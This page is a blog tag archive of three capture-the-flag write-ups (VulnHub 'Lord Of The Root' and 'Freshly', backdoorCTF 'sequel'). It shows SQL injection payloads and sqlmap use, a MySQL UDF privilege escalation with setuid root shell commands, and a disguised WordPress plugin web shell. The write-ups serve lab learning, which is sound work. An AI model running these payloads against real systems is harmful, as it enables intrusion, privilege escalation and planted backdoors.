Tag Archives: SQLi

Posts related to SQLi

VulnHub – Lord Of The Root Writeup

Hey folks, so here’s my writeup for KookSec’s “Lord Of The Root” VM from VulnHub.

WARNING! – I always “plan” on doing a nice short writeup, then just drag it out with possibly OTT details….which i think i’ve done here too.  But the purpose of this blog is more for me to refer back to, and understand how something works.  And i’m finding if i don’t go into detail….i don’t understand it.   Consider yourself warned! 😉

After firing it up, first things first, whats it’s IP. lotr-1lotr-2Well Hello Mr Bond….err i mean!  Now….NMAP time.

lotr-3lotr-4Hmmn, not much, lets do a bigger scan of 1-5000 ports, and get a little angrier with a T4 switch.

lotr-5But i got the same results.  So either theres something running on a much higher port, or something funky is going on.  Well seen as this is a VulnHub challenge, lets assume the latter 🙂

Lets have a look at that SSH port.lotr-6Ah ok, so still a normal SSH connection, but with a nice banner.

“Knock Friend To Enter” – “Easy as 1,2,3”.

This sounds like a technique i’ve heard about, called Port Knocking, where you “knock” or “ping” a port, or a series of ports, and if the sequence is correct, “something” happens, usually, it allows the IP address of the knocker access to some other service ports.

As i mentioned, i’ve never played around with this, but i am aware of another VulnHub writeup i read by a friend (Hey Knapsy!) which involved port knocking.

So i had a quick read of that, then ended up firing off the following 3 commands (yes i know i could of scripted it, but hey….i’m lazy!)lotr-7What we are doing here, is using the hping3 command, pointing it at our IP address, then specifying a port number (e.g -p 1) then how many “pings” to send (in this case just the one e.g -c 1)

Do this for each port 1, 2 and 3, and now lets perform another NMAP scan, see what turns up!

And…..lotr-4Same result….hmm.  K.  At this stage, i kept cycling through my “knocking” pings, including knocking on port 123….1,2,3 times.  But no luck.   Maybe something IS open….but not in the “top ports”.

Lets do a scan for ports between 1-5000 again.lotr-8AHA!  Port 1337, and it looks like a HTTP port, so lets have a browse to it.

lotr-9Err….K.   I checked a few things here including the source code for the page, even found the original file off MemeBase.com and compared the 2 files.  The same, so theres no hidden stego stuff going on here.

Next i fired up DirBuster.lotr-10(I always use directory-list-2.3-medium.txt, if theres something to find, it usually finds it)

First thing it finds, is a /images/ directory, containing the following.lotr-11

Again, some “meme” pics related to LOTR.

DirBuster didn’t find anything else of interest.  I also decided to check robots.txt…worth a shot.lotr-12

OK, so it didn’t give me a robots.txt file, but did display one of the photos i found before (hipster.jpg)

If there is no robots.txt file on a server, what do you usually get?  A 404 not found page, but in this case i’m getting the pic above. And going off the phrase in the pic “We can’t go this way”, maybe this is a personalized 404 page.  Lets test it with a random path on the web server, using a random word….like…i dunno “supercalifragilisticexpialidociouslotr-13

AHA!  Same thing, so this must be a custom 404 page.  Lets view it’s source.


Theres the link to our photo, and also a HTTP Comment Tag.

From experience i guessed this was a Base64 encoded string, so i tried decoding it.lotr-15Hehe, cute.  Lets now decode the new string it gives us.

lotr-16Aha!  Nice, we have a new url path to try.


OK, so we have a login page.  First things first, lets try a quick ‘ OR 1=1 —  in both fields……nothing, just an error saying “Username or Password is invalid”.  Quick check of the page source, cookies and another DirBuster scan from /978345210/ didn’t find anything of interest.  I’m gonna guess this is some form of SQL Injection, as CTF and boot2roots don’t usually involved brute forcing.  Time to let SQLMap have a look at this page.

Before we do that though, we need some “values” for SQLMap to test on, so BurpSuite is used to capture the POST data thats sent when we hit “Login”, as well as the response from the server on a failed login.lotr-18

So here we can see, the “POST Data” thats sent to the server.


And we already know the response from the server is.

Username or Password is invalid

So with these 2 items, we can use SQLMap to see if theres anything vulnerable, using the following command:lotr-20lotr-21

OK, looks like it’s found that the “username” field is vulnerable to a time-based blind SQLi, and it’s detected it’s likely MySQL, so we can skip testing for other DBMS’s.

So now we’ve found it’s vulnerable, lets try and get some info out of it.  First we want to know the name of the database being used by this login page, so lets expand our SQLMap command, to specify to find the current database and also specify “MySQL” as the DBMS type.


Now with a “time-based blind” SQL Injection, what SQLMap does is send various SQL queries to the database, which test on something, and if that test is true, it will pause for 5 seconds, and if false, continue on.  So in this example, it finds the name of the current database in use.lotr-23

As you can see it’s found that the database name is “Webapp”.  It’s found this out by sending a series of queries like below. (Note the below are NOT actual SQL queries, but rather my interpretation of what it’s doing)

If the name of the current database begins with "A" then pause for 5 secs, otherwise continue on. RESULT = False....so it skips.

If the name of the current database begins with "B" then pause for 5 secs, otherwise continue on. RESULT = False...so it skips.


If the name of the current database begins with "W" then pause for 5 secs, otherwise continue on.  RESULT = True...so it sleeps for 5 secs, then  SQLMap detects this pause, and knows the current database begins with "W".

Now...if the name of the current database's second letter begins with "a" then pause for........

Hopefully you get the idea.  If it detects a pause, it knows it’s right, records the result and continues on.   This process can take a while obviously, but it’s a excellent way of pulling info out of a SQL database, when you are “blind.

Now we specify the database name, and include a –dump to dump all the info from that database.lotr-24


Excellent! If we login to the web page with any of these credentials, they work, but they just take you to a profile.php page, which shows the 3rd image we found earlier…nothing else.lotr-26

But if you try logging in to the SSH server using these credentials, only one works (smeagol), but we at least now get a shell!lotr-27

But, it’s a limited shell, so the next obvious step is to escalate our privileges to root.  My usual starting process for this is to download a enumerations script, to help gathering any “juicy” info. Theres 3 i currently use:

They all do SOME similar things, such as pull version info for installed services, find “interesting” files, try and read /etc/passwd and /etc/shadow etc. LinuxPrivChecker also suggests some possible exploits.  It’s not upto date, and the suggestions sometimes don’t work, but it’s a good starting point.

I’ll just be focusing on LinuxPrivChecker for this writeup. A quick wget downloads it to the vm from my local Kali VM, then we run it using python.


At the end you can see a list of possible exploits.  If we scroll through the full output we find a couple of interesting items.

First is a list of files/directories that have the SetUID or SetGID attributes set on them.  This basically means you can run the file with the permissions of the owner.


Theres 3 files that have this attribute set, and the owner is root.  The files are also…not standard files.lotr-32

The second interesting item, is that in the list of processes running as root, is mysqld, so the MySQL process that hosts the database we running an SQLi attack againest is running as root, which isn’t normal.  Usually it’s running under it’s own restricted “mysql” account. lotr-33 lotr-34

At this point i’d like to point you to the page on VulnHub for this VM where it states.

There are two designed methods for privilege escalation.

OK!  This is useful, particularly for me, as i’m USELESS with binaries, debugging, reversing and buffer overflows etc….So i ignore the 3 binaries with SetUID attributes set, and focus on the fact that MySQL daemon is running as root, and the suggested exploit that LinuxPrivChecker has given us.

First we need to try and get the MySQL “root” account password.  This is saved in a database named “mysql” and in the table “user”.  So we simple alter our SQLMap command to try and get this info.  We also include the switch -C user,password, which only gives us the info from those 2 columns (the user table contains LOTS of other columns todo with access rights, but we only care about the user and password).lotr-36lotr-37b

And there we have the MySQL “root” users password.

The exploit is here https://www.exploit-db.com/exploits/1518/, i’m not going to go into the full details, but follow the simple instructions to give it a go.  But basically, it gets the MySQL database to run a system command, and because it’s running as root, could be a winner.

First we download the exploit C code, and write it to a file on the vm. (I named mine 1518.c…which is the exploit ID from ExploitDB)lotr-35

On the ExploitDB page is also shows how to use the Exploit.  In this example, what it will do is run the id command, and pipe the output to a temp file.  Which you can check to see who the id command was run as.  Here’s how i used the exploit:

  • Created the file 1518.c containing the exploit code on the vm (Done above).
  • Compile the code using gcc
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
  • Login to the MySQL server using the root account.
mysql -u root -p (Enter password when prompted)


  • Select the mysql database to work with.
use mysql;


  • Create a new table to store the exploit in.
create table myexploit(line blob);


  • Insert the compiled exploit file into the table.
insert into myexploit values(load_file('/home/smeagol/1518.so'));


  • Output the contents of the myexploit table into a file in /usr/lib/mysql/plugin

Note – I had to slightly change my code compared to what was listed in the exploit, as output the file to just /usr/lib as detailed in the exploit didn’t work, hence the change to /usr/lib/mysql/plugin

select * from myexploit into dumpfile '/usr/lib/mysql/plugin/1518.so';


  • Create a MySQL function named “do_system” which uses the above code.
create function do_system returns integer soname '1518.so';


  • Check the created function exists.
select * from mysql.func;


  • Specify the command we want to run, which as mentioned will run as a the mysqld user, which is “root”.  In this example, we’ll just output the result of the id command, to confirm we are running as root.
select do_system('id > /tmp/out; chown smeagol.smeagol /tmp/out');


  • Now we switch back to a shell prompt.
\! sh


  • Finally, lets read the contents of /tmp/out, which should be the results of the previously run id command.
cat /tmp/out


Excellent!   So our exploit works, and we can run commands as “root”.  At this stage, we could just change the previous command to list the contents of the /root/ directory, see if theres a flag file, then cat the contents of it.   But i still want a proper…proper root shell 🙂

After a bit of Google searching, i found a nice simple way of doing this, following this article. This details using the same exploit we have already use, but then using some simple C code, which launches /bin/bash, compile it, then finally give it the SetUID attribute.  So when we run it as our normal use, it launches a shell (/bin/bash) but running as root.

So first up we create our C code, named rootshell.c, which simply launches /bin/bash.


Then, back in the MySQL database, we compile it, by altering the previously created ls command

select do_system('gcc -o /home/smeagol/rootshell /home/smeagol/rootshell.c');


Then we set the SetUID attribute.

select do_system('chmod u+s /home/smeagol/rootshell');


Done!   So we now have our “rootshell” binary.  Exit MySQL, and run it.lotr-50

BOOM!  We are now root 🙂  A quick ls to find the flag file, and view it’s contents.lotr-51

REALLY loved this VM, had some cool challenges, and i’ve learnt a few things, which will be VERY useful when i do my OSCP.

I am also going to work on the 3 binaries we found, and understand how to figure out what they do, and how to exploit them, and do a writeup for these too.   Which is even easier now we seem to of found the source code for the files (shown above).

Cheers folks, thanks for reading.


Vulnhub – (TopHatSec) Freshly Writeup

Here goes with my first writeup of a VM from Vulnhub, of the “Freshly” VM courtesy of TopHatSec. (I hope to not ramble on with this post….but no promises!)

This challenge appealed to me as it is a Web-based attack one, which i feel i’m pretty strong on. So after downloading the VM (OVA), and importing it into VirtualBox, first things first is to find the IP address of it on my VirtualBox Host-Only network.


netdiscover-result is the IP of the VirtualBox “Host-Only” network DHCP Server. is the IP of the VirtualBox “Host-Only” network host adapter(on my laptop) is…..well theres no other VM’s running, so this must be our target IP.


Next it’s time for a quick and simple scan with NMAP to see what ports are open.


OK, so looks like we have Apache running, and listening on 3 different ports, 80, 443 and 8080. Lets have a quick browse of each, see what we see.

Port 80


Thanks Obi-Wan Kenobi!.  Not much else on this page, the source code simply points to the animated gif.

Port 443

Accept the invalid cert warning and we get:


K….again, a quick view of the source code and it shows us some JavaScript code, which i’m assuming performs the re-direct when you click the link…..but i’m hopeless on JavaScript, so just ignored it for now.

After being directed, we get to what looks like a WordPress site for a site called “Old Candy Site”.


Port 8080

This looks like the same page as the one running on port 443, just not HTTPS.

I first targetted the WordPress site running on 8080, as i know WordPress has a heap of vulnerabilities.   A quick scan of the site using wpscan, gave the following results (condensed to show the bits we care about)



OK, so theres a few plugins that have vulnerabilities.  I did check out the links provided by wpscan for each one.  The Cart66 Lite SQL Injection vulnerability required that you already be logged in for it to work, so i ignored this.

The ProPlayer SQL Injection vulnerability looked like an issue with the file playlist-controller.php not sanitizing input correctly.  When trying to play the video on the front page of the site (played using ProPlayer) it just sat there and seemed to be buffering.


Closer inspection of the source code for the page, showed it was trying to play a video titled “Vintage-Old-1970s-General-Foods-Pop-Rocks-Candy-Commercial.mp4” but from a WordPress site running on IP


If i changed the IP it was looking for to the current server IP, and tried browsing for the video it displayed it OK.  So maybe simply an old reference to the original sites IP?  Or something for us to maybe exploit?


I started digging into anything we could do with this, but didn’t get anywhere…so left it.

The 3rd and final WordPress plugin exploit for the “All In One SEO” Authentication Bypass seemed to be related to being able to modify a meta tag without being authenticated, again, didn’t seem too interesting, so i left this too.

I quickly checked to see if we could access the WordPress admin page on /wp-admin, and we could.  Something to remember for later.wp-admin

OK…so nothing majorly obvious yet, so i now turned back to the site running on port 80 showing the Star Wars gif.

There was no robots.txt, so i thought i’d check to see what other directories might be on the site, using DirBuster. (I usually use the wordlist “usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt“.


And straight away, it finds the a php file named “login.php“.


A quick look in our browser:


Ohhh, whats this?  Looks like a simple login box, lets throw some values in there. (I used “abc” for the username and “def” for the password)


It returns back a “0“.  OK, and how about the ole “‘ OR 1=1 —  trick in the username field.



OK, so this time it returned a “1 so maybe it’s returning the number of returned rows for the result.   At this stage i tried various things, including adding in some UNION SELECT statements, but it didn’t seem to return much, other than the “0” or “1“.  No other info, no SQL errors…nothing.  As it looks like this is some kind of SQL query thats happening, i fired up sqlmap, and see what it could find.

(Note At first i wasn’t having much luck, my sqlmap wasn’t returning anything of interest, and seeming to not find the fields injectable.  I then realised i was running an OLD version of sqlmap…so first things first i cloned a new version using git.)

(Another Note – As we want to get sqlmap to test against the fields on login.php, we need to provide it with some data to be sent using POST.  A nice easy way to get this info, is to enter the values as before and run the request through Burp Suite, it will capture the POST data request.


OK…so lets fire off sqlmap, see what it finds.


Ohh, looks like the “user” field is vulnerable to “time-based blind” injection…whatever the hell that is.

At this stage, i then started enumerating any database info i could (database names, table names, columns etc)

List Databases



OK, so theres 7 databases.  We can ignore “information_schema, mysql, performance_schema and phpmyadmin” for now.  The login database contained some entries, but nothing special and users seemed to be empty.

But i wonder what the database named “wordpress8080 could be for?  Maybe a WordPress site running on port 8080?  We’ll now dump the contents of this database.


Now as i mentioned before, this is a “time based” SQL injection, which i’ve never heard of before.  This site gives a good explanation of it, but the jist is, that depending on how long the SQL server takes to respond to a request, you might be able to get information out of the database.  This does mean that results returned to sqlmap aren’t instantaneous, and take a while.  To give you an idea of how long it takes…here’s a nice little animated gif 🙂


But eventually we get all the info.


Nice, so looks like we’ve got some possible credentials for the WordPress site, lets give it a go.

wp-login wp-success

WooHoo!   OK…so we’ve got admin rights to the WordPress site, but we ideally need to be able to browse and access the underlieing filesystem…which i know can’t be done from within WordPress.  The solution?  We’ll as we can create a page on the WordPress site, lets do it….but lets create a much more fun page….a PHP web shell page 🙂

There are a few ways todo this, either modifying an existing PHP file on the site, such as the 404.php file.  But for this example i’m going to create a WordPress plugin, upload it, then use it to gain access to the server filesystem.

There are various types of PHP web shells, some that allow various functions, some php reverse shell ones which connect back to a listener you have running.  For this, we’ll just use the following simple code:

 Plugin Name: Super Fast WordPress Plugin!!!
 Plugin URI: www.google.com
 Description: Makes your WordPress site run 200% faster!!!
 Author: dook
 Version: 1.0
 Author URI: www.google.com

The first few bits, are some items which WordPress requires for a plugin…as you can see, i gave it a nice name, and description 🙂

The “guts” is the last line…which is pretty basic.  It takes a user provided value (e.g “ls”) runs that command, and returns the result.

The code is saved as “dookshell.php” then zipped up into a file named “dookshell.zip”.

Now back in the WordPress admin page, we browse into “Plugins” section select “Add New” then “Upload Plugin”.  Browse for the zip file, and select “Install Now”.


Once uploaded successfully, it’s Activated using the link, then we’re taken back to the Plugins list, and it should be listed along with the others.


Cool, so it’s uploaded, activated and happy.  To access and use this plugin, browse to: then add ?cmd= then whatever we want to run, so for example “ls“.

So the full url will be:


And we get a directory listing…in this case of the dookshell directory, which just contains our webshell file.

At this point, i started looking around for a “flag” or a “secret” file.  Nothing in the www directory, nothing in root, we can’t access the “root” directory, as this PHP file is running with the rights of the web server.  I then decided to see if i could display the contents of /etc/passwd using “cat”.




WooHoo!  I really enjoyed this challenge, as i’ve recently been learning more on SQL Injection. Now there are apparently a couple of ways to get into this VM, so i’m going to have a bit more of a snoop around, and if i find another way in, i’ll do another writeup.

Cheers VulnHub! And Cheers Top-Hat-Sec!


backdoorctf – practice challenge – sequel

Here’s another writeup for a practice challenge on the backdoorCTF site. (WARNING….i went on a bit with this post, so it’s massively over-detailed, but..hopefully it explains everything properly).

They just had (April 2015) a full CTF which i took part in, but didn’t have much time to spend on challenges, so didn’t solve anything….but (as they do with all their CTF’s) they then make the challenges available in their “Practice Arena” for you to work on anytime.   So i’ll be hitting some of those soon 🙂

OK, on with the writeup.  This is a 120 point challenge called “sequel”.


OK, so we have a link to a web application and a link to some of it’s source code too.

When we click on the link to the web application we get the following:


Looking at the source code we see the following:

sourcecodeOK, so looks like a basic web authentication page, using a SQL database…but this is an SQLite database, as opposed to MySQL, PostGres etc, but it seems theres not much difference between statements compared to MySQL.

So i could fully test and see whats going on with this web application…and SQLite, i built a “test” system on a VM, so i could work through the code, and see what happens etc.

I built a simple Ubuntu 14.02.2 server, installed Apache, PHP and SQLite, built a simple database containing what i “thought” maybe in the actual one, along with some info etc.

I could see from the source code, that it queried a table in the database called users, also, there was at least 3 columns i was aware of (usernamepassword_hash and name)

query rows

We could also assume that there would be an id column for each entry, so 4 columns all up.

It looked like the password that was entered, was converted to a sha256 hash, then checked (so the passwords were in this format in the database).

And finally there is reference to a user named “sdslabs“, so i made sure to create a user with that username……..remember this for later.

So my database ended up looking like this:

(The hashed passwords i created were [email protected]backdoor and football respectively.)


Next i created the index.html page, same as on the web application, and copied the source code into submit.php, and made a few “tweaks”.


Into submit.php, i changed the name of the database to match the name of the one i created.


And also added the following at the bottom:


This allows me to see the value of various variables after i’ve entered them into the web login form, and submit.php has done it’s stuff.

For example.   If i entered the username john and password monday into the form, the returned page looks like:


Obviously john doesn’t exist in my database, so it fails, but i can see the entered username and password, the hashed password, and the SQL query that’s being run.

If i logged in with the sdslabs user i created i get:


So obviously, this time the user exists, and it’s the one that the script is looking for, so it would print the flag.  It also shows the same info as before, but also the value of the $name variable, as well as the results of the query against each row.

Cool!   So i have a working web application, with similar code (albeit with extra debug info) and a database which i THINK (note the underline) matches what the actual database is.

For those familiar with SQL, PHP and specifically SQL Injection, this might seem like a lot of overkill, and effort…but as I’m still learning, and want to fully understand what’s happening, and the processes involved…then this helps me 🙂

OK, lets start working through the script.  The first line connects to the SQLite database.


Next, it sets the variable $username to the entered username, and also the variable $password to the entered password from the login form., but for the password it also hashes it using sha256.  So entered the password “[email protected]” would become “a075d17f3d453073853f813838c15b8023b8c487038436354fe599c3942e1f95


Next the variable $query is set to the SQL query to be run.


This is a fairly generic SQL statement…which doesn’t look or work much differently than one for MySQL.

Next it sets the variable $result to the result of the SQL query that was run.  If the query returns nothing (e.g the user doesn’t exist, or the password is incorrect, the query would fail, and no result would be returned)  But if it was successful it would return the results (as an array) into the variable $result.

It then performs an IF statement, for each returned row in the result.


If there isn’t a row in the result (e.g….no user found, or incorrect password) it jumps down to the else statement, where it prints out “User not found or incorrect password” then the script ends


But if there is a result it continues on…

And first sets the variable $name to the value in the row, in position “1“. and also the variable $username to the value in the row, in position “2.


To understand this a bit more, lets login with the account i created in the database with username “bob” and password “football“.  On my test setup, the SQL query would look like this:


If we run this query directly within the database itself (and tag on a “;” on the end) it would look like this:


So the resulting row looks like below, which is an array.

3|Bob Smith|bob|6382deaf1f5dc6e792b76db4a4a7bf2ba468884e000b25e7928e621e27fb23cb

And within PHP, if we were to display the value of each item in the $row variable, it would look like this:bobquery3

So the value of $row[1] is “Bob Smith” which corresponds to the value of name in the database, and $row[2] is “bob” which corresponds to the value of username in the database.

OK…back to the script….there is another IF statement, which checks to see if the value in $username is equal to “sdslabs” and if so….tells us we are successful and displays the flag.


And if the value in $username isn’t equal, then it just prints the value in $row[1] which is the value name in the database.


OK…so thats the script…..now….what criteria must we meet for this script, which will make the LIVE system display the flag.  Well:

  • We must return a valid result from the SQL query.  If it returns nothing, it will simply say “User not found or incorrect password“.
  • We must make sure the value of $username, which is the value in $row[2] from the SQL query result is “sdslabs“.

So….first things first.  The password.   As this gets hashed up, whatever value we enter into this field is going to be turned into gobbledygook for us, so we can safely ignore this completely.

So lets pretend we don’t know a valid username for our test system, how can we get it to return a result, lets try the good ole “‘ OR 1=1 — ” trick.



OK, this at least returned a result, which as expected, returned the first row from the database.

How about if we just specify the username “sdslabs” then comment out the rest of the statement.



Woah!   It worked….wow that was easy.  Lets try that on the “LIVE” system…the actual challenge on backdoorctf…..yeah, you forgot we were actually trying to solve that didn’t you? 😉


Huh?   Why?  How come that works on my demo system, but not on the LIVE system?

I checked various things in my script, and also my database at this stage, and was confused. “How come the LIVE system doesn’t log me in with the user sdslabs when my demo system does???”……”I know the user exists, as it checks to see if the username equals that in the script!!!”…..”Wait!….it checks to see if the username equals “sdslabs” in the script……but that DOESN’T mean it’s actually a valid user in the database!”

Aha!  Just because it checks that value….doesn’t mean that user exists in the database….sneaky!

I then tried the “‘ OR 1=1 —  trick on the LIVE system and this returns.


OK….so obviously on the LIVE system, there is a user with the name “Dhaval Kupil” in the first row in their database.  So using that trick does get us a result at least. Now onto how we can make sure the returned value from the query has “sdslabs” in position $row[2].

Back to our old friend UNION SELECT.  If you are unfamilar with this function, it allows you to add one SQL statement onto another.  And in this case, we want to add our OWN values to the result of the query.

So….on my test system, i have a database, with a table with 4 columns:

  • id
  • name
  • username
  • password_hash

Using UNION SELECT, i can pass my own values into the query….so it returns these values in the results of the query.

Here’s an example.  If we jump into the SQLite database and enter the following query.

SELECT * FROM users WHERE username = 'john';

But as this user doesn’t exist in my database, no row would be returned.


But if i use UNION SELECT i can specify what i want to be returned.  So if the query is changed to look something like this:

SELECT * FROM users WHERE username = 'john' UNION SELECT "9", "John Smith", "john", "whateverpassword";

Despite the user not existing, it would return a row, with the values i specified.


So….using this, lets try importing our own values using UNION SELECT onto the LIVE system.  As the only value the PHP code checks for is the username field, we’ll only pass that in the values, and use null for the rest.

Our new string we’ll enter into the username field is:

' OR 1=1 UNION SELECT null, null, "sdslabs", null --

This works on my test system:


But doesn’t on the LIVE system 🙁  But i don’t get an error, saying the user wasn’t found, which makes me think there’s something wrong in my SQL statement. But again, why?  When it works on my test system?

Thinking what could be different again…i KNOW there are at least 4 columns in the database….what if there’s more?

So I modified my query to add a new column AFTER my “sdslabs” (as we know this one must be in the 3rd position (row[2]).  So new query is:

' OR 1=1 UNION SELECT null, null, "sdslabs", null, null --


YESSSS!!!!!  So obviously there was another column in the database 🙂

I had heaps of fun figuring this…kind fairly simple challenge out, but i guess the more you understand the simple challenges, the more it helps in more detailed ones.

Again, i highly recommend people who are interested in challenges like this to head over to https://backdoor.sdslabs.co/ and have a go!  They’ve got heaps available and as i mentioned earlier have all the ones from the recent BackDoorCTF2015.

If you’ve got this far…nice effort, and if i made a mistake, or you liked this post….drop a comment below 🙂